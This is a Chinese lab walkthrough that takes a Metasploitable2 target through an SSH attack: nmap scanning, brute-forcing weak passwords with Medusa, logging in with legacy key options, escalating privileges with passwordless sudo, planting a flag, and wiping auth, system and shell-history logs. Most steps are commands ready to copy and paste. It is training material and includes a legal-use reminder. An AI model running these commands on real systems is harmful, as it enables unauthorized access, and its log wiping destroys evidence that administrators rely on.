一、学习目标
-
掌握SSH服务弱口令破解的核心逻辑(字典遍历+自动化工具验证)
-
熟练使用Medusa(美杜莎)工具破解SSH弱口令(避开Hydra兼容性坑)
-
解决新版Kali与旧版OpenSSH的兼容性问题(密钥类型、加密算法不匹配)
-
完成"信息收集→破解→登录→提权→插旗→清日志"的完整渗透闭环
-
记住实战中常见报错的解决方案,形成可复现的操作流程
二、前置基础信息
1. 端口核心信息
-
端口号:22/TCP
-
服务类型:SSH(Secure Shell,安全外壳协议)
-
服务版本:OpenSSH 4.7p1(Debian/Ubuntu系统,老旧版本,无现代防护)
-
核心作用:Linux服务器远程管理(加密传输,替代明文的Telnet)
2. 破解核心前提
SSH服务支持"password(密码认证)"(通过nmap脚本探测确认),若仅支持"publickey(密钥认证)",则无法用弱口令破解,需更换思路(如寻找私钥文件)。
3. 工具选择
主力工具:Medusa(美杜莎)------ 轻量、对旧版SSH兼容性强,操作逻辑与Hydra一致,避开新版Hydra的加密算法不兼容问题。
三、完整操作流程(含代码+实战细节)
阶段1:信息收集(确认靶机SSH服务状态)
目的
验证22端口是否开放、SSH版本、支持的认证方式,确保具备破解条件。
操作步骤
-
打开Kali终端,执行nmap精准扫描命令:
nmap -sV -Pn -p22 --script=ssh-auth-methods 192.168.1.3 -
关键结果解读(必须满足以下条件):
-
22/tcp open ssh:端口开放,服务正常
-
OpenSSH 4.7p1 Debian 8ubuntu1:确认是老旧版本,无防护
-
Supported authentication methods: publickey、password:支持密码认证,可破解
-
Host is up (延迟极低):靶机在线,网络连通性正常
-
细节注意
若扫描显示"port closed",先检查靶机IP是否正确、是否启动、局域网是否互通(用ping 192.168.1.3验证)。
阶段2:准备破解字典(核心!字典质量决定成败)
目的
制作包含靶机真实账号密码的"账号字典+密码字典",覆盖Linux常见弱口令。
操作步骤
-
创建专门存放字典和结果的文件夹(避免文件混乱):
mkdir /root/ssh_brute # 在root目录下创建ssh_brute文件夹验证:执行ls /root/,能看到ssh_brute文件夹即为成功。 -
创建账号字典(user.txt,包含常见Linux账号):
vim /root/ssh_brute/user.txt # 用vim编辑账号字典操作:按进入插入模式,输入以下内容,按后输入保存退出:root ``admin ``msfadmin ``test ``ubuntu验证:执行cat /root/ssh_brute/user.txt,输出与输入一致即为成功。 -
创建密码字典(pass.txt,包含常见弱口令):
vim /root/ssh_brute/pass.txt # 用vim编辑密码字典操作:按进入插入模式,输入以下内容,按后输入保存退出:123456 ``password ``root ``admin ``msfadmin ``12345验证:执行cat /root/ssh_brute/pass.txt,输出与输入一致即为成功。
阶段3:用Medusa破解SSH弱口令(核心操作)
目的
通过自动化工具遍历字典中的"账号+密码"组合,找到正确的登录凭证。
操作步骤
-
直接执行Medusa破解命令(复制粘贴即可,无需修改):
medusa -h 192.168.1.3 -U /root/ssh_brute/user.txt -P /root/ssh_brute/pass.txt -M ssh -v 4 -t 4 -O /root/ssh_brute/result.txt -
命令参数详解(理解后方便记忆):
-
-h 192.168.1.3:指定靶机IP
-
-U /root/ssh_brute/user.txt:指定账号字典(大写U)
-
-P /root/ssh_brute/pass.txt:指定密码字典(大写P)
-
-M ssh:指定破解模块为SSH(核心,自动适配SSH协议)
-
-v 4:详细输出模式,可看到每一次尝试的账号密码
-
-t 4:并发线程数为4(避免线程过多导致靶机拒绝连接)
-
-O /root/ssh_brute/result.txt:将破解结果保存到该文件
-
-
观察破解结果(成功标识): 执行后会逐行尝试账号密码,成功时会显示:
2026-01-11 19:57:25 ACCOUNT FOUND: [ssh] Host: 192.168.1.3 User: msfadmin Password: msfadmin [SUCCESS] -
验证破解结果:
cat /root/ssh_brute/result.txt # 查看保存的结果成功输出:192.168.1.3:22:msfadmin:msfadmin
阶段4:用破解凭证登录SSH(解决兼容性问题)
问题说明
直接用ssh msfadmin@192.168.1.3登录会报错:Unable to negotiate with 192.168.1.3 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss,原因是新版Kali禁用了旧版SSH的ssh-rsa/ssh-dss密钥类型。
解决方案(带参数登录)
-
执行带兼容参数的登录命令(复制粘贴):
ssh msfadmin@192.168.1.3 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -
参数详解(解决密钥类型不兼容):
-
-o HostKeyAlgorithms=+ssh-rsa:允许使用ssh-rsa旧主机密钥
-
-o PubkeyAcceptedKeyTypes=+ssh-rsa:允许使用ssh-rsa公钥认证
-
-
登录步骤:
-
首次登录提示:Are you sure you want to continue connecting (yes/no/[fingerprint])? → 输入yes回车
-
密码提示:msfadmin@192.168.1.3's password: → 输入破解的密码msfadmin回车
-
-
验证登录成功: 登录后提示符变为:msfadmin@metasploitable:~$
whoami # 输出:msfadmin,确认当前用户
阶段5:提权到root(靶机默认福利,免密提权)
目的
msfadmin是普通用户,需提权到root(最高权限)才能完成插旗和日志清理。
操作步骤
-
在当前SSH会话中执行提权命令:
sudo su root # 切换到root用户,无需输入密码原因:Metasploitable2靶机默认配置msfadmin用户拥有免密sudo权限(可执行sudo -l查看验证)。 -
验证root权限:
whoami # 输出:root,提权成功 ``id # 输出:uid=0(root) gid=0(root) groups=0(root),确认最高权限
阶段6:插旗(记录渗透成果)
目的
创建专属标识文件,证明已成功渗透靶机,形成学习记录。
操作步骤
-
进入root目录(最高权限目录,不易被误删):
cd /root -
创建flag文件并写入渗透信息:
echo "======================================" > ssh_hack_success.flag ``echo "🔥 22端口SSH破解成功标识" >> ssh_hack_success.flag ``echo "靶机IP:192.168.1.3" >> ssh_hack_success.flag ``echo "破解工具:Medusa(美杜莎)" >> ssh_hack_success.flag ``echo "破解凭证:msfadmin/msfadmin" >> ssh_hack_success.flag ``echo "提权方式:sudo su root(免密sudo)" >> ssh_hack_success.flag ``echo "克服坑点:新版Kali与旧SSH密钥类型不兼容→加ssh-rsa参数" >> ssh_hack_success.flag ``echo "渗透时间:$(date)" >> ssh_hack_success.flag ``echo "操作者:43岁人生赢家(实战派大佬)" >> ssh_hack_success.flag ``echo "======================================" >> ssh_hack_success.flag -
验证flag文件:
cat ssh_hack_success.flag # 查看文件内容,确认信息完整
阶段7:清理日志(无痕收尾)
目的
清除渗透过程中留下的登录记录、操作痕迹,避免被"管理员"发现。
操作步骤(一次性执行以下命令)
# 1. 清空登录/认证日志(记录SSH登录、破解尝试) echo "" > /var/log/auth.log echo "" > /var/log/auth.log.1 # 2. 清空系统日志(记录提权、进程操作) echo "" > /var/log/syslog echo "" > /var/log/syslog.1 # 3. 清空消息日志(记录内核、服务事件) echo "" > /var/log/messages echo "" > /var/log/messages.1 # 4. 清空操作历史(msfadmin和root的命令记录) echo "" > /home/msfadmin/.bash_history echo "" > /root/.bash_history # 5. 验证日志清空(可选) ls -lh /var/log/ | grep -E "auth|syslog|messages"
验证标准
输出的日志文件大小均为0(如:-rw-r----- 1 root adm 0 Jan 11 20:05 auth.log),说明清理成功。
阶段8:安全退出
# 1. 退出root用户(回到msfadmin) exit # 2. 退出SSH会话(回到Kali终端) exit # 3. (可选)删除Kali本地的破解结果(避免自身痕迹) rm -rf /root/ssh_brute/result.txt
四、实战排错指南(重点!踩过的坑汇总)
1. 问题1:Hydra破解报错"kex error : no match for method mac algo"
-
原因:新版Hydra与旧版OpenSSH加密算法/密钥交换算法不兼容
-
解决方案:放弃Hydra,直接用Medusa工具(兼容性更好,操作更简单)
2. 问题2:SSH登录报错"no matching host key type found"
-
原因:新版Kali禁用了旧版SSH的ssh-rsa/ssh-dss密钥类型
-
解决方案:登录时加参数:ssh 用户名@靶机IP -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa
3. 问题3:Medusa破解无结果
-
可能原因1:字典中未包含正确的账号密码
-
解决方案1:补充字典(如添加debian、ftp、mysql等常见账号,111111、qwerty等弱密码)
-
可能原因2:线程数过高,靶机拒绝连接
-
解决方案2:将-t参数改为2(-t 2),降低并发线程
4. 问题4:sudo su root提权失败
-
原因:靶机配置被修改,msfadmin的免密sudo权限丢失
-
解决方案:重启Metasploitable2靶机,恢复默认配置
五、核心知识点速记(打印后快速复习用)
1. 核心流程
信息收集(nmap)→ 准备字典(user.txt+pass.txt)→ Medusa破解 → 带参数SSH登录 → sudo免密提权 → 插旗 → 清日志 → 退出
2. 关键命令速记
-
信息收集:nmap -sV -Pn -p22 --script=ssh-auth-methods 192.168.1.3
-
Medusa破解:medusa -h 192.168.1.3 -U 账号字典 -P 密码字典 -M ssh -v 4 -t 4 -O 结果文件
-
SSH登录:ssh msfadmin@192.168.1.3 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa
-
提权:sudo su root
-
清日志核心命令:echo "" > /var/log/auth.log;echo "" > /home/msfadmin/.bash_history
3. 核心原理
SSH弱口令破解的本质是"暴力枚举"------利用自动化工具快速遍历常见账号密码组合,找到符合目标服务器的有效凭证,核心依赖高质量字典和工具兼容性。
六、法律与伦理提醒
-
本流程仅用于靶机学习,禁止用于未授权的真实服务器渗透测试
-
未经授权的网络攻击行为违反《网络安全法》《刑法》等法律法规,需承担法律责任
-
渗透测试必须在合法授权前提下进行,坚守"告知同意""最小权限"原则